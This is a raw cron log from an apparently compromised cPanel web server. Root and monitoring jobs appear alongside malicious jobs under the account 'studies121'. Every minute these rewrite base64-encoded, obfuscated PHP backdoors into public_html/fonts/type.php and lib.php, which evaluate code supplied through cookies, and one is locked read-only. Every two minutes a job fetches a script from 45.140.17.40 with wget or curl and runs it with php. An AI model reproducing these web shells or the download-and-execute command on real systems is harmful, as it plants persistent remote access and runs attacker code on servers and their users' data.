Sep 21 07:04:01 ip-184-168-122-23 CROND[10251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:05:01 ip-184-168-122-23 CROND[10423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:05:01 ip-184-168-122-23 CROND[10424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:05:01 ip-184-168-122-23 CROND[10428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:05:01 ip-184-168-122-23 CROND[10430]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 07:05:01 ip-184-168-122-23 CROND[10432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:05:01 ip-184-168-122-23 CROND[10433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:05:01 ip-184-168-122-23 CROND[10434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:06:01 ip-184-168-122-23 CROND[10579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:06:01 ip-184-168-122-23 CROND[10580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:06:01 ip-184-168-122-23 CROND[10584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:06:01 ip-184-168-122-23 CROND[10583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:06:01 ip-184-168-122-23 CROND[10585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:07:01 ip-184-168-122-23 CROND[10804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:07:01 ip-184-168-122-23 CROND[10806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:07:01 ip-184-168-122-23 CROND[10808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:07:01 ip-184-168-122-23 CROND[10809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:08:01 ip-184-168-122-23 CROND[10949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:08:01 ip-184-168-122-23 CROND[10951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:08:01 ip-184-168-122-23 CROND[10952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:08:01 ip-184-168-122-23 CROND[10948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:08:01 ip-184-168-122-23 CROND[10950]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:09:01 ip-184-168-122-23 CROND[11095]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 07:09:01 ip-184-168-122-23 CROND[11096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:09:01 ip-184-168-122-23 CROND[11097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:09:01 ip-184-168-122-23 CROND[11098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:09:01 ip-184-168-122-23 CROND[11099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:10:01 ip-184-168-122-23 CROND[11221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 07:10:01 ip-184-168-122-23 CROND[11225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:10:01 ip-184-168-122-23 CROND[11224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:10:01 ip-184-168-122-23 CROND[11227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:10:01 ip-184-168-122-23 CROND[11228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:10:01 ip-184-168-122-23 CROND[11232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:10:01 ip-184-168-122-23 CROND[11231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:10:01 ip-184-168-122-23 CROND[11237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:11:01 ip-184-168-122-23 CROND[11384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:11:01 ip-184-168-122-23 CROND[11385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:11:01 ip-184-168-122-23 CROND[11386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:11:01 ip-184-168-122-23 CROND[11391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:12:01 ip-184-168-122-23 CROND[11620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:12:01 ip-184-168-122-23 CROND[11622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:12:01 ip-184-168-122-23 CROND[11623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:12:01 ip-184-168-122-23 CROND[11627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:12:01 ip-184-168-122-23 CROND[11626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:13:01 ip-184-168-122-23 CROND[11798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:13:01 ip-184-168-122-23 CROND[11797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:13:01 ip-184-168-122-23 CROND[11799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:13:01 ip-184-168-122-23 CROND[11800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:14:01 ip-184-168-122-23 CROND[11978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:14:01 ip-184-168-122-23 CROND[11982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:14:01 ip-184-168-122-23 CROND[11980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:14:01 ip-184-168-122-23 CROND[11981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:14:01 ip-184-168-122-23 CROND[11983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:15:02 ip-184-168-122-23 CROND[12161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:15:02 ip-184-168-122-23 CROND[12164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:15:02 ip-184-168-122-23 CROND[12162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:15:02 ip-184-168-122-23 CROND[12160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:15:02 ip-184-168-122-23 CROND[12159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:15:02 ip-184-168-122-23 CROND[12158]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:16:01 ip-184-168-122-23 CROND[12307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:16:01 ip-184-168-122-23 CROND[12314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:16:01 ip-184-168-122-23 CROND[12316]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 07:16:01 ip-184-168-122-23 CROND[12317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
